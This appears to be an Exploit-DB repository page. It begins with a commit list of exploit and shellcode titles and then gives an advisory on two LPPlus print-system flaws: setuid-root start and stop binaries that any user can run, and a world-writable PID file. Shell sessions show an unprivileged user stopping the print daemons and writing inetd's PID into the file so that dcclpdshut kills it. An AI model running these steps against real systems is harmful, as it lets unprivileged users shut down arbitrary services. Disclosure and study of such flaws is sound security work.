880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.9 KiB
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53 lines
No EOL
1.9 KiB
Text
source: https://www.securityfocus.com/bid/1643/info
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Vulnerability #1: Several files that are part of the LPPlus print management system are installed setuid root by default. These files include:
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$LPHOME/bin/dccsched
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$LPHOME/bin/dcclpdser
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$LPHOME/bin/dccbkst
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These start the scheduler, LPD server and network status daemons.
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$LPHOME/bin/dccshut
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$LPHOME/bin/dcclpdshut
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$LPHOME/bin/dccbkstshut
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These stop the same services.
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By default, all six may be run by a user of any privilege level, allowing any user to start and stop printing services, regardless of userid or group.
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Vulnerability #2: $LPHOME/system/lpdprocess is created mode 777. This file contains the process ID of the dcclpdser process. If a user replaces the PID in $LPHOME/system/lpdprocess with the PID of a target process, then runs $LPHOME/bin/dcclpdshut, the combination of this file's permissions, and the fact that dcclpdshut is executable by any user, allows any user to send signal 2 (SIGINT) to, thereby shutting down, any process.
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Vulnerability #1:
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$ id
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uid=600(test) gid=300(users)
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$ ps -ef|grep dcc
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test 26357 26351 0 18:18:06 pts/0 0:00 grep dcc
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root 26262 1 0 17:41:50 ? 0:01 /opt/lpplus/bin/dccsched
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root 26272 1 0 17:42:03 ? 0:00 /opt/lpplus/bin/dcclpdser
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root 26276 1 0 17:42:14 ? 0:00 /opt/lpplus/bin/dccbkst
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$ dccbkstshut
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$ dcclpdshut
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LPD048E Signal sent to dcclpdser to shut down.
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$ dccshut
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LPP054I LP Plus scheduler ordered to shutdown.
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$ ps -ef|grep dcc
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test 26253 26239 0 17:39:45 pts/0 0:00 grep dcc
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$
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Vulnerability #2
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$ id
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uid=600(test) gid=300(users)
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$ ps -ef|grep inet
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test 26285 26279 0 17:42:42 pts/0 0:00 grep inet
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root 12276 1 0 Aug 22 ? 0:00 /usr/sbin/inetd -s
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$ cat > $LPHOME/system/lpdprocess
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12276
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^D
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$ dcclpdshut
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LPD048E Signal sent to dcclpdser to shut down.
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$ ps -ef|grep inet
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test 26291 26279 0 17:45:17 pts/0 0:00 grep inet
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$ |